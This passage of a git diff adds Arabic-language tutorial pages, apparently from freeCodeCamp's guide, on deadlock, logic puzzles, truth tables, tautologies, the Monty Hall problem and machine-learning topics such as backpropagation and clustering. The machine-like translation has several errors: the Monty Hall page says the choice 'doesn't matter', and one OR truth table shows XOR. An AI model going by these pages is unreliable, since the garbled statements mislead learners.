+هناك العديد من الحلول الممكنة لمنع Deadlock. إذا نظرنا عن كثب ، فإن إحدى المشاكل في الخوارزمية أعلاه هي أن جميع الفلاسفة لديهم فرصة متساوية (لديهم نفس الأولوية) في الحصول على شوكة واحدة. هذا يمنع أي شخص من الحصول على شوكتين ويوقف النظام بأكمله إلى توقف.
+
+الحلول تشمل: -
+
+1.  الأولوية - يتم إعطاء أولوية أعلى لبعض الفلاسفة ، بحيث تزداد فرصة الحصول على كلتا الشوكتين.
+2.  الاستباقية (التأديب) - يتخلى الفلاسفة عن الشوكة المكتسبة دون تناول الطعام ، في حالة عدم توفر الشوكة الأخرى.
+3.  التحكيم - يقوم الوسيط بتخصيص الشوك التي تضمن إعطاء شوكتين لشخص واحد ، بنصف واحد إلى عدة أشخاص.
+
+#### معلومات اكثر:
+
+https://www.wikiwand.com/en/Dining _الفلاسفة_ المشكلة
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/index.md b/client/src/guide/arabic/logic/index.md
new file mode 100644
index 0000000000..d840a66eeb
--- /dev/null
+++ b/client/src/guide/arabic/logic/index.md
@@ -0,0 +1,11 @@
+---
+title: Logic
+localeTitle: منطق
+---
+## منطق
+
+يغطي المنطق في علوم الكمبيوتر التداخل بين مجال المنطق وعلم الحاسوب. يمكن تقسيم الموضوع بشكل أساسي إلى ثلاثة مجالات رئيسية:
+
+الأسس النظرية والتحليل استخدام تكنولوجيا الكمبيوتر لمساعدة المتعاملين استخدام المفاهيم من المنطق لتطبيقات الكمبيوتر
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة واسعة من الألغاز المنطقية التي تعتبر مهمة للرياضيات والبرمجة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/knights-and-knaves/index.md b/client/src/guide/arabic/logic/knights-and-knaves/index.md
new file mode 100644
index 0000000000..a47aa57de3
--- /dev/null
+++ b/client/src/guide/arabic/logic/knights-and-knaves/index.md
@@ -0,0 +1,26 @@
+---
+title: Knights and Knaves Puzzles
+localeTitle: لعبة Knights and Knaves Puzzles
+---
+## فرسان وعشاق
+
+نوع واحد من اللغز المنطقي ، هذه الألغاز يجب أن تفعلها مع نوعين من الناس. الفرسان: الناس الذين يقولون الحقيقة والمغاور فقط: الناس الذين لا يكذبون إلا عن الأكاذيب. جمع ريموند سميليان العشرات من الألغاز في كتابه "ما اسم هذا الكتاب؟". طريقة عمل الألغاز هي أن الشخص يزور جزيرة يجتمع فيها مع ساكن أو مجموعة. يجب على الزائر استخدام مهارات المنطق الخاص به لمعرفة من هو الفارس ومن هو العبد.
+
+## عينة الألغاز
+
+### أحمر و أزرق
+
+شخصان ، أحمر وأزرق ، يقفان أمامك. يقول ريد: "نحن كلا من المتصلين". ما هي حقا؟
+
+**الحل:** الأحمر لا يمكن أن يكون فارسا ، لأنه بعد ذلك كان يكذب بالقول إنه خبيث. لذلك فهو عراف ، وبيانه كذبة ، وهذا يعني أن الأزرق يجب أن يكون فارسا.
+
+### الطريق الذي يجب أن نأخذ؟
+
+جئت إلى مفترق الطرق وتحتاج إلى معرفة الطريق المؤدي إلى وجهتك. شخصين يقفان هناك. أنت تعرف أن واحد هو فارس واحد هو knave ، ولكنك لا تعرف أيهما. أي سؤال بنعم أو لا يمكن أن تطلب من أحد سكان الجزيرة أن يتعلم المسار الصحيح؟
+
+**الحل:** أشر إلى مسار واطلب من أحدهم: "هل يخبرني الشخص الآخر أن هذا هو المسار الصحيح؟" إذا كان الجواب "لا" ، فهذا هو المسار الصحيح ؛ إذا كان نعم ، فهو المسار غير الصحيح.
+
+#### معلومات اكثر:
+
+*   [ما هو اسم هذا الكتاب؟ من الامازون](https://www.amazon.com/gp/product/0486481980/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0486481980&linkCode=as2&tag=brenconl05-20&linkId=UU6GFKPWEKZFK2XG)
+*   [ويكيبيديا المادة](https://en.wikipedia.org/wiki/Knights_and_Knaves)
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/logical-operators/index.md b/client/src/guide/arabic/logic/logical-operators/index.md
new file mode 100644
index 0000000000..5d3222a842
--- /dev/null
+++ b/client/src/guide/arabic/logic/logical-operators/index.md
@@ -0,0 +1,46 @@
+---
+title: Logical Operators
+localeTitle: العوامل المنطقية
+---
+## العوامل المنطقية
+
+**و (&&)**  
+إرجاع A & & B True إذا كان كل من A و B True. إذا كان A أو B (أو كلاهما) False ، فإن A & & B False.
+
+| أ | ب | و (أ ، ب) | | --- | --- | --- | | و | ر | و | | و | و | و | | ر | ر | ر | | ر | و | ر |
+
+**أو (||)**  
+إرجاع A || B True إذا كان A أو B (أو كلاهما A و B) هو True. إرجاع False فقط إذا كان كل من A و B False.
+
+| أ | ب | أو (أ ، ب) | | --- | --- | --- | | و | ر | ر | | و | و | و | | ر | ر | ر | | ر | و | ر |
+
+**ليس (!)**  
+لعرض القيمة المعاكسة. السابق. إذا كان A صحيحاً ، إذاً ، A هو خطأ ، وإذا كان A خطأ ، فهذا صحيح! هذا هو المشغل المنطقي الوحيد الذي يعمل على إدخال واحد فقط ، مما يجعله مشغلًا وحيدًا.
+
+| أ | ب | لا (أ) | NOT (B) | --- | --- | --- | --- | | و | ر | t | f | | و | و | ر | ر | | ر | ر | f | f | | ر | و | f | t |
+
+**XOR ("eXclusive أو")**  
+هو معروف **الحصري أو** . تشبه OR ، ولكن تُرجع False إذا كانت كل من A و B صحيحة. أي ، ترجع XOR true إذا كان واحد و واحد فقط من A أو B هو True.
+
+| أ | B | XOR (أ ، ب) | | --- | --- | --- | | و | ر | ر | | و | و | و | | ر | ر | و | | ر | و | ر |
+
+**التضمين (A -> B)**  
+اقرأ "إذا كان A ، ثم B" أو "A يشير إلى B". إرجاع False فقط عندما يكون A هو True و B False. وإلا فإن المعنى الضمني هو True.  
+![](http://sites.millersville.edu/bikenaga/math-proof/truth-tables/truth-tables13.png)
+
+ملاحظة: غالباً ما يتم استخدام الانعكاسات للأدلة الرياضية المباشرة. تمثل A الفرضية ، بينما B هي النتيجة.
+
+المرة الوحيدة التي يكون فيها الشرط false هي عندما تؤدي القيمة الحقيقية إلى قيمة خاطئة.
+
+| أ | B | IF (A، B) | | --- | --- | --- | | و | ر | ر | | و | و | ر | | ر | ر | ر | | ر | و | و |
+
+**المعادلة المنطقية (iff: if and only if)**  
+"P if and only if Q" هي نفسها مثل "P تعني Q و Q تعني P". بمعنى آخر ، تكون جداول الحقيقة لـ P و Q متطابقة لكل قيم الحقيقة. هذا هو المعروف باسم biconditional. وهو ما يعادل A -> B **و** B-> A. وهو ما يعني أنه يجب استيفاء الشرطين معا من أجل أن تكون ثنائية الشرعية صحيحة.
+
+يمكنك أن ترى بسهولة أن خرج مخرج مشغل IFF في جدول الحقيقة هو نفسه ANDing للأعمدة 3 و 4.
+
+| أ | B | IF (A، B) | IF (B، A) | IFF (A، B) | | --- | --- | --- | --- | --- | | و | ر | t | f | f | | و | و | t | t | t | | ر | ر | t | t | t | | ر | و | f | t | f |
+
+#### معلومات اكثر:
+
+\+ \* [المنطقية المشغلين في جافا سكريبت](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators) + \* [مشغلي منطقية في PHP](http://php.net/manual/en/language.operators.logical.php) + \* [المنطقية المشغلين في C ++](http://en.cppreference.com/w/cpp/language/operator_logical)
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/mobsters-riddle/index.md b/client/src/guide/arabic/logic/mobsters-riddle/index.md
new file mode 100644
index 0000000000..e6af171f33
--- /dev/null
+++ b/client/src/guide/arabic/logic/mobsters-riddle/index.md
@@ -0,0 +1,11 @@
+---
+title: Mobsters Riddle
+localeTitle: الغوغاء اللغز
+---
+## الغوغاء اللغز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/logic/mobsters-riddle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/monty-hall-problem/index.md b/client/src/guide/arabic/logic/monty-hall-problem/index.md
new file mode 100644
index 0000000000..047e07f8b9
--- /dev/null
+++ b/client/src/guide/arabic/logic/monty-hall-problem/index.md
@@ -0,0 +1,29 @@
+---
+title: Monty Hall Problem
+localeTitle: مشكلة مونتي هول
+---
+## مشكلة مونتي هول
+
+مشكلة مونتي هول هي لغز على الاحتمالية المسماة بعد مضيف عرض لعبة السبعينيات التي يقوم عليها ، دعونا نجعل الصفقة. هذه المشكلة بالذات هي تناقض حقيقي. هذا يعني أن هناك حلاً يبدو بديهيًا ، لكنه أثبت أنه حقيقي.
+
+يعرّف المشكلة كما يلي؛ أنت في لعبة عرض وهناك 3 أبواب ، لكل منها جائزة مختلفة وراءها. وراء واحد من الأبواب الثلاثة هي سيارة. الاثنان الآخران لديهما ماعز. يجب عليك اختيار واحد من الأبواب الثلاثة لتحديدها كجائزتك. لنفترض أنك اخترت باب 1 ، ولكن قبل فتح الباب ، قرر مونتي أن يفتح الباب 2 الذي يكشف عنزة. يسأل الآن إذا كنت ترغب في اختيار باب 3 بدلا من ذلك. يجب عليك اختيار باب 3 على اختيارك الأصلي؟ هل يهم حتى؟
+
+اتضح أن الاختيار لا يهم وأنه في الواقع لصالحك لتبديل قرارك إلى الباب 3! هنا لماذا. عندما اخترت باب 1 من الأبواب المغلقة الثلاثة ، كان لديك فرصة واحدة من أصل 3 أن تختار الحق واحد. كل من باب 2 وباب 3 لهما فرصة واحدة من أصل 3 لوجود سيارة خلفه. هل يمكن أن نقول أيضا أن الأبواب 2 و 3 ديها 2 من 3 فرصة وجود سيارة وراء ذلك _جنبا إلى جنب._
+
+![Probability before revealing a goat](https://i.imgur.com/8EsVvZk.png "الاحتمال قبل الكشف عن الماعز")
+
+الآن ، عندما يفتح المضيف الباب 2 ويحتوي على عنزة لديك الآن المزيد من المعلومات حول المشكلة. تذكر أن الأبواب 2 و 3 لها احتمالية مجتمعة تحتوي على سيارة 2/3 من الوقت. مع كشف الباب أنت تعرف أن باب 2 ليس لديه سيارة. ولكن ، هذا الكشف لا يغير من الاحتمالية المشتركة للبابين. هذا هو المفتاح الرئيسي هنا! بما أننا نعرف الآن أن الباب 2 لديه فرصة 0/3 لإظهار سيارة ، يمكنك الآن القول أن باب 3 لديه فرصة 2 / 3s لاحتواء سيارة. لا يزال الجمع بين احتماليتي الباب 2 والباب 3 يضيف إلى 2 / 3s كما كان قبل فتح الباب 2. باب 1 يبقى دون تغيير ولديه فرصة 1/3 فقط. لذا ، إذا قررت التحول ، يمكنك الانتقال من فرصة 33.33٪ تقريبًا إلى 66.67٪ من اختيار السيارة. بعبارة أخرى ، أنت تضاعف فرص نجاحك عن طريق التبديل!
+
+![Probability after revealing a goat](https://i.imgur.com/V2JzAka.png "الاحتمال بعد الكشف عن الماعز")
+
+نعم ، من الممكن أن يكون الباب 1 يملك السيارة طوال الوقت ، وأنك خدعت مونتي. هذا لا يهم. أنت تقامر باتخاذ الصفقة ، لكنك تقامر ذكي. أنت تتخذ أفضل قرار بشأن المعلومات التي تحصل عليها وتسمح بدخول النرد. على المدى الطويل ، يمكنك إجراء تحويل أفضل من المتسابق الذي يقرر الاحتفاظ بالاختيار الأول. في النهاية ، يخدع مونتي في الواقع أنه يقدم لك صفقة أفضل.
+
+#### معلومات اكثر:
+
+[مشكلة مونتي هول -](https://www.youtube.com/watch?time_continue=1&v=4Lb-6rxZxx0)
+
+[21 كيفن سبيسي مونتي هول مشكلة](https://www.youtube.com/watch?v=YReov4c3taI)
+
+#### معلومات اكثر:
+
+*   Monty Hall article article: [Wikipedia](https://en.wikipedia.org/wiki/Monty_Hall_problem)
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/normal-forms/index.md b/client/src/guide/arabic/logic/normal-forms/index.md
new file mode 100644
index 0000000000..bbce938db0
--- /dev/null
+++ b/client/src/guide/arabic/logic/normal-forms/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Forms
+localeTitle: أشكال عادية
+---
+## أشكال عادية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/logic/tautologies/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/satisfiability/index.md b/client/src/guide/arabic/logic/satisfiability/index.md
new file mode 100644
index 0000000000..fce79fe6cb
--- /dev/null
+++ b/client/src/guide/arabic/logic/satisfiability/index.md
@@ -0,0 +1,16 @@
+---
+title: Satisfiability
+localeTitle: Satisfiability
+---
+## Satisfiability
+
+تعتبر الصيغة P **مقبولة** إذا كانت صحيحة في بعض **الأحيان** بالنسبة لبعض التخصيصات للصواب / الخاطئة للمتغيرات.
+
+مثال:
+
+*   x ^ y: is Satisfiable with x = T، y = T
+*   xvy -> x: غير مقبولة مع x = T، y = F
+
+إذا لم تكن هناك مهام ، فعندئذ تعتبر غير مرضية.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/tautologies/index.md b/client/src/guide/arabic/logic/tautologies/index.md
new file mode 100644
index 0000000000..7f0971889e
--- /dev/null
+++ b/client/src/guide/arabic/logic/tautologies/index.md
@@ -0,0 +1,67 @@
+---
+title: Tautologies
+localeTitle: الإطناب
+---
+## الإطناب
+
+### فريف
+
+في المنطق ، فإن الحشمة هي عبارة صحيحة في كل حالة ممكنة. على العكس من الحشمة هو تناقض ، في بيان كاذبة في كل الحالات الممكنة.
+
+### مثال
+
+ص
+
+ف
+
+ص أو ف
+
+ع → ص أو ف
+
+تي
+
+تي
+
+تي
+
+تي
+
+تي
+
+F
+
+تي
+
+تي
+
+F
+
+تي
+
+تي
+
+تي
+
+F
+
+F
+
+F
+
+تي
+
+وكما نرى في جدول الحقيقة ، فإن العبارة "p → p OR q" هي دائمًا صحيحة (انظر العمود الأخير).
+
+مثال من حيث المنطق المنطقي هو `B || !B` . من الصحيح دائمًا أن B صحيح أو B ليس صحيحًا.
+
+عكس التلبس هو تناقض ، وهي صيغة "دائمًا ما تكون خاطئة". بعبارة أخرى ، التناقض خاطئ لكل إحالة لقيم الحقيقة لمكوناته البسيطة.
+
+مثال على وجود تناقض مع المنطق البوذي هو `B && !B` من المستحيل أن يكون B صحيحًا وكاذبًا في الوقت نفسه.
+
+#### ملحوظة
+
+السهم يعني ببساطة "ضمنا". p يشير ضمنيًا إلى p أو q ، يمكن أن يعني أيضًا _... إذا ..._
+
+#### معلومات اكثر:
+
+[ويكيبيديا Tautology (المنطق)](https://en.wikipedia.org/wiki/Tautology_(logic)) [جداول الحقيقة يوتيوب](https://www.youtube.com/watch?v=O0KbymjE7xU) [رموز منطق ويكيبيديا](https://en.wikipedia.org/wiki/List_of_logic_symbols)
\ No newline at end of file
diff --git a/client/src/guide/arabic/logic/truth-tables/index.md b/client/src/guide/arabic/logic/truth-tables/index.md
new file mode 100644
index 0000000000..1570e576bc
--- /dev/null
+++ b/client/src/guide/arabic/logic/truth-tables/index.md
@@ -0,0 +1,74 @@
+---
+title: Truth Tables
+localeTitle: جداول الحقيقة
+---
+## جداول الحقيقة
+
+جدول الحقيقة هو أداة رياضية تستخدم في Boolean Algebra. يتكون من عمود لكل لمتغيرات الدالة. يحتوي العمود الأخير على القيمة الوظيفية التي تم تقييمها للقيم المقابلة للمتغيرات. بالنسبة إلى دالة boolean للمتغيرات n ، سيكون لتوسيع جدول الحقيقة صفوف 2 ^ n. هذا هو beacuse لكل متغير لهما حالتين محتملتين - true & false.
+
+### و
+
+دعنا نستكشف جدول الحقيقة الخاص بالمشغل AND:
+
+| س | ذ | س و ص | | --- | --- | --- | | F | F | F | | F | تي | F | | تي | F | F | | تي | تي | تي |
+
+و هو مشغل ثنائي. تعمل على متغيرين ، قل `x` ، `y` .
+
+وبالتالي لدينا 2 ^ 2 = 4 أعمدة في جدول الحقيقة لدينا!
+
+العمود الأخير هو القيمة الوظيفية - س و ص.المنطق لـ AND العملية هو أنه إذا كانت قيم x و y كلاهما True فقط فسيكون للمخرج قيمة True وإلا فسيكون False.
+
+جداول الحقيقة بالمثل لمشغلين منطقيين آخرين -
+
+### ليس
+
+| س | لا X | | --- | --- | | F | تي | | تي | F |
+
+### أو
+
+| س | ذ | س أو ص | | --- | --- | --- | | F | F | F | | F | تي | تي | | تي | F | تي | | تي | تي | تي |
+
+### XOR
+
+| س | ذ | x XOR y | | --- | --- | --- | | F | F | F | | F | تي | تي | | تي | F | تي | | تي | تي | F |
+
+أو المشغل:
+
+| س | ذ | س أو ص | | --- | --- | --- | | F | F | F | | F | تي | تي | | تي | F | تي | | تي | تي | تي |
+
+ليس المشغل:
+
+| س | ليس س | | --- | --- | | F | تي | | تي | F |
+
+مشغل التضمين:
+
+| س | ذ | س IMPLY ذ | | --- | --- | --- | | F | F | تي | | F | تي | تي | | تي | F | F | | تي | تي | تي |
+
+يمكن لمشغل ضمني أن يكون مربكًا للبعض. من المفيد ربط أمثلة العالم الحقيقي للمساعدة في فهم هذا المشغل. على سبيل المثال ، ضع في اعتبارك: إذا كانت السماء تمطر ثم استخدم مظلة. هنا ، على افتراض أنها تمطر ، أستخدم مظلة (تحمل عبارة) ولكن إذا كانت السماء تمطر ، وأنا لا أستخدم مظلة ، فإن البيان يخفق في الإمساك بها. على الرغم من ذلك ، إذا لم تكن السماء تمطر ، وما زلت استخدم مظلة ، فإن البيان يحمل أيضا (لا يهم إذا كانت المظلة مستعملة أم لا ، لأنها لا تمطر. على الرغم من أنها تبدو غريبة نوعا ما).
+
+ومع ذلك ، يمكن لمشغل ضمني أن يكون محيرًا بالنسبة إلى الافتراضات المتضمنة التي هي خاطئة في العالم الحقيقي. يعتبر: إذا كانت الشمس مصنوعة من الماء ، فإن 1 + 1 = 3. وفقا لجدول الحقيقة الضمنية ، فإن هذه الصيغة الافتتاحية صحيحة.
+
+P يشير ضمنا إلى Q كما يمكن اعتباره اختصار لـ NOT (P) أو Q.
+
+مشغل ضمني مزدوج:
+
+| س | ذ | س <-> ذ | | --- | --- | --- | | F | F | تي | | F | تي | F | | تي | F | F | | تي | تي | تي |
+
+جداول الحقيقة هي أداة قوية. يمكن استخدامها للتعبير عن وتقييم العمليات والعمليات المنطقية البسيطة ، والدوائر التوافقية المعقدة ، والدوائر المنطقية المتسلسلة!
+
+هنا هو جدول الحقيقة لمشغل OR
+
+| س | ذ | س أو ص | | --- | --- | --- | | F | F | F | | F | تي | تي | | تي | F | تي | | تي | تي | F |
+
+تمامًا كما هو الحال أعلاه ، يعمل مشغل OR على متغيرين ، لاحظ أن الوقت الوحيد الذي يقوم فيه المشغل OR بالتقييم إلى True هو عندما ينفي `x` & `y` بعضه البعض.
+
+دعونا نفعل أكثر واحد ، دعونا نفعل جدول للنفي ، وهذا يعمل على قيمة واحدة بدلا من اثنين
+
+| س | ليس س | | --- | --- | | تي | F | | F | تي |
+
+هذه القاعدة أبسط وأنها ببساطة تنفي القيمة الأصلية لـ `x`
+
+#### معلومات اكثر:
+
+*   [Hyperphysics - جامعة ولاية جورجيا](http://hyperphysics.phy-astr.gsu.edu/hbase/Electronic/truth.html)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Truth_table)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/backpropagation/index.md b/client/src/guide/arabic/machine-learning/backpropagation/index.md
new file mode 100644
index 0000000000..3892bec17a
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/backpropagation/index.md
@@ -0,0 +1,48 @@
+---
+title: Backpropagation
+localeTitle: العكسي
+---
+## العكسي
+
+Backprogapation هو موضوع فرعي [للشبكات العصبية](../neural-networks/index.md) ، وهي العملية التي بواسطتها تقوم بحساب تدرجات كل عقدة في الشبكة. تقيس هذه التدرجات "الخطأ" الذي تسهم به كل عقدة في طبقة الخرج ، لذلك في تدريب الشبكة العصبية ، يتم تصغير هذه التدرجات.
+
+ملاحظة: يتطلب التكاثر العكسي ، والتعلم الآلي بشكل عام ، معرفة كبيرة بالجبر الخطي والتلاعب بالمصفوفة. ينصح بشدة الدورات الدراسية أو القراءة في هذا الموضوع قبل محاولة فهم محتويات هذه المقالة.
+
+### حساب
+
+يمكن تفسير عملية backpropagation في ثلاث خطوات.
+
+وبالنظر إلى ما يلي
+
+*   أمثلة تدريب m (x، y) على شبكة عصبية من الطبقات L
+*   g = وظيفة السيني
+*   ثيتا (ط) = مصفوفة الانتقال من إيث إلى طبقة i + 1th
+*   a (l) = g (z (l))؛ صفيف من قيم العقد في الطبقة l استناداً إلى مثال تدريب واحد
+*   z (l) = Theta (l-1) a (l-1)
+*   دلتا مجموعة من L matricies تمثل التحولات بين طبقة i و i + 1th
+*   d (l) = مصفوفة التدرجات للطبقة l من أجل مثال تدريب واحد
+*   D مجموعة من matricies L مع التدرجات النهائية لكل عقدة
+*   lambda مصطلح regualrization للشبكة
+
+في هذه الحالة ، بالنسبة للمصفوفة M ، سوف تشير M إلى تحويل المصفوفة M
+
+1.  تعيين كافة إدخالات Delta (i) ، لـ i من 1 إلى L ، صفر.
+2.  لكل مثال تدريب t من 1 إلى m ، قم بإجراء ما يلي:
+
+*   إجراء الانتشار إلى الأمام على كل مثال لحساب (l) و z (l) لكل طبقة
+*   الحوسبة d (L) = a (L) - y (t)
+*   compute d (l) = (Theta (l) '• d (l + 1)) • g (z (l)) لـ l من L-1 إلى 1
+*   زيادة دلتا (l) بواسطة دلتا (l + 1) • a (l) '
+
+1.  سد Matrichies دلتا في matricies المشتقة الجزئية لدينا D (l) = 1 \\ m (Delta (l) + lambda • Theta (l))؛ إذا ل ل ≠ 0 D (l) = 1 \\ m • Delta (l)؛ إذا ل = 0
+
+وبالطبع ، فإن مجرد رؤية هذه المقالة تبدو معقدة بشكل كبير ويجب ألا يتم فهمها إلا في السياقات الأكبر للشبكات العصبية والتعلم الآلي. يرجى الاطلاع على المراجع المتوقفة لفهم أفضل للموضوع ككل.
+
+#### معلومات اكثر:
+
+*   [محاضرة 4 CS231n مقدمة في الشبكات العصبية](https://youtu.be/d14TUNcbn1k?t=354)
+*   [سراج رافال - العودة في 5 دقائق](https://www.youtube.com/watch?v=q555kfIFUCM)
+*   [أندرو نغ ML ML](https://www.coursera.org/learn/machine-learning/)
+*   [في العمق ، مقالة نمط ويكي](https://brilliant.org/wiki/backpropagation/)
+*   [Backprop على ويكيبيديا](https://en.wikipedia.org/wiki/Backpropagation)
+*   [وهناك خطوة خطوة على سبيل المثال Backpropagation](https://mattmazur.com/2015/03/17/a-step-by-step-backpropagation-example/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/bayes-classifier/index.md b/client/src/guide/arabic/machine-learning/bayes-classifier/index.md
new file mode 100644
index 0000000000..54febaa08f
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/bayes-classifier/index.md
@@ -0,0 +1,18 @@
+---
+title: Bayes Classifier
+localeTitle: التصنيف باي
+---
+ويستند Bayes Classifier على تطبيق Bayes Theorem لتحديث اعتقاده على احتمال وقوع حدث.
+
+![مبرهنة بايز](https://github.com/Cheungo/bayes_theorem_image/blob/master/CodeCogsEqn.gif?raw=true)
+
+نظرية بايز تسمح لك بحساب احتمال B المعطى A ، بشرط أن تكون لديك احتمالات لـ A و B و A المعطى.
+
+نماذج باييس التصنيف عدم اليقين عن طريق الحفاظ على احتمالات كل سيناريو من السيناريوهات المحتملة. مع توفر المزيد من المعلومات ، يتم تحديث الاحتمالات لتعكس بدقة أكثر ما هو معروف الآن عن الوضع المعطى.
+
+#### واقترح ريدينج:
+
+*   https://monkeylearn.com/blog/practical-explanation-naive-bayes-classifier/
+*   https://en.wikipedia.org/wiki/Naive _Bayes_ classifier
+*   https://youtu.be/XcwH9JGfZOU (الجزء الأول)
+*   https://youtu.be/k2diLn5Nqbs (الجزء الثاني)
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/brownian-motion/index.md b/client/src/guide/arabic/machine-learning/brownian-motion/index.md
new file mode 100644
index 0000000000..871ab056f0
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/brownian-motion/index.md
@@ -0,0 +1,11 @@
+---
+title: Brownian Motion
+localeTitle: الحركة البراونية
+---
+## الحركة البراونية
+
+الحركة البراونية أو pedesis (من اليونانية القديمة: πήδησις / pέːdεːsis / "leaping") هي الحركة العشوائية للجسيمات المعلقة في سائل (سائل أو غاز) ناتجة عن تصادمها مع الذرات أو الجزيئات السريعة الحركة في الغاز أو السائل.
+
+سميت ظاهرة النقل هذه باسم عالم النبات روبرت براون. في عام 1827 ، بينما كان ينظر من خلال المجهر في الجسيمات المحصورة في التجاويف داخل حبوب اللقاح في الماء ، لاحظ أن الجسيمات تتحرك عبر الماء. لكنه لم يتمكن من تحديد الآليات التي تسببت في هذا الاقتراح. منذ فترة طويلة نظرية الذرات والجزيئات كمكونات للمادة ، وألف ألبرت أينشتاين نشر ورقة في عام 1905 والتي أوضحت بتفصيل دقيق كيف أن الحركة التي لاحظها براون كانت نتيجة لحبوب اللقاح التي تحركها جزيئات الماء الفردية ، مما يجعل واحدة من المساهمات الكبيرة الأولى في العلوم. هذا التفسير للحركة البراونية كان بمثابة دليل مقنع على وجود الذرات والجزيئات ، وتم التحقق منه بشكل تجريبي من قبل جان بيرين في عام 1908. حصل بيرين على جائزة نوبل في الفيزياء في عام 1926 "لعمله على البنية المتقطعة للمادة" (كان أينشتاين حصل على الجائزة قبل خمس سنوات "لخدماته في الفيزياء النظرية" مع اقتباس خاص لأبحاث مختلفة). إن اتجاه قوة القصف الذرّي يتغيّر باستمرار ، وفي أوقات مختلفة يتضرر الجسيم أكثر على جانب من الآخر ، مما يؤدي إلى الطبيعة العشوائية التي تبدو في الحركة.
+
+الحركة البراونية هي من بين أبسط العمليات العشوائية المستمرة (أو الاحتمالية) ، وهي حدود لكل من العمليات العشوائية الأبسط والمعقدة (انظر المشي العشوائي ونظرية دونسكر). ترتبط هذه الشمولية ارتباطا وثيقا بشمولية التوزيع الطبيعي. في كلتا الحالتين ، غالباً ما تكون الراحة الرياضية ، بدلاً من دقة النماذج ، هي التي تحفز استخدامها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/machine-learning/clustering-algorithms/index.md b/client/src/guide/arabic/machine-learning/clustering-algorithms/index.md
new file mode 100644
index 0000000000..10c8347296
--- /dev/null
+++ b/client/src/guide/arabic/machine-learning/clustering-algorithms/index.md
@@ -0,0 +1,130 @@
+---
+title: Clustering Algorithms
+localeTitle: خوارزميات التجميع
+--- # خوارزميات التجميع
+
+التجميع هو عملية تقسيم البيانات إلى مجموعات منفصلة (مجموعات) ، مع ضمان ما يلي:
+
+*   كل مجموعة تحتوي على كائنات مماثلة
+*   الأشياء التي لا تنتمي إلى نفس العناقيد غير متشابهة
+
+تساعد خوارزميات التجميع في العثور على بنية في مجموعة من البيانات غير المسموح بها وتندرج في فئة التعلم بدون إشراف.
+
+تكمن الصعوبة في تعريف مقياس التشابه الذي يمكن أن يفصل البيانات بالطريقة التي تريدها. على سبيل المثال ، يمكن فصل مجموعة من الأشخاص حسب الجنس ، لون الشعر ، الوزن ، العرق ، إلخ.
+
+مهمة خوارزميات التجميع هي مهمة تجميع مجموعة من الكائنات بطريقة بحيث تكون الكائنات في نفس المجموعة (تسمى الكتلة) أكثر تشابهاً (بمعنى ما أو آخر) مع بعضها البعض غير تلك الموجودة في المجموعات الأخرى (المجموعات). إنها مهمة رئيسية للتنقيب الاستكشافي عن البيانات ، وتقنية مشتركة لتحليل البيانات الإحصائية. يتم استخدامه في العديد من المجالات ، بما في ذلك التعلم الآلي ، والتعرف على الأنماط ، وتحليل الصور ، واسترجاع المعلومات ، والمعلوماتية الحيوية ، وضغط البيانات ، ورسومات الكمبيوتر.
+
+تتضمن بعض تطبيقات خوارزميات التجميع:
+
+*   تجميع المستهلكين وفقًا لأنماط الشراء
+*   تجميع صور الحيوانات من نفس النوع معًا
+*   تصنيف أنواع مختلفة من الوثائق
+
+## أنواع خوارزميات التجميع:
+
+1.  التكتل القائم على الربط (التكتل الهرمي)
+2.  تجميع احادي القاعدة أو نقطة التجمع (تعنى k-clustering)
+3.  التجمعات القائمة على التوزيع
+4.  المجموعات المستندة إلى الكثافة
+
+بعض الأمثلة على خوارزميات التجميع هي:
+
+1.  التجميع المقعدي
+2.  تعنى K-clustering
+3.  K-mediods clustering
+4.  تقسيم التجميع
+
+### المجموعات الهرمية
+
+توجد طرق لتجميع التي تستخدم فقط أوجه التشابه من الحالات ، دون أي متطلبات أخرى على البيانات ؛ الهدف هو العثور على مجموعات بحيث تكون الحالات في المجموعة أكثر تشابهاً مع بعضها البعض من الحالات في مجموعات مختلفة. هذا هو النهج المتبع بالتسلسل الهرمي.
+
+هذا يحتاج إلى استخدام تشابه ، أو على بعد مسافة ، قياس محدد بين الحالات. عموما يتم استخدام المسافة الإقليدية ، حيث يتعين على المرء التأكد من أن جميع السمات لها نفس المقياس.
+
+### تعيين نقطة
+
+تحافظ هذه الطريقة على مجموعة من العناقيد ، وتضع نقاطًا لأقرب العناقيد.
+
+## خوارزميات التجميع محددة
+
+### K - يعني التجميع
+
+خوارزمية K-means هي خوارزمية تجميعية شائعة لأنها بسيطة نسبياً وسريعة ، على عكس خوارزميات التجميع الأخرى. يتم تعريف الخوارزمية على النحو التالي:
+
+1.  حدد معلمة الإدخال k (عدد العناقيد)
+2.  اختيار نقاط البيانات العشوائية لاستخدامها كنجوم
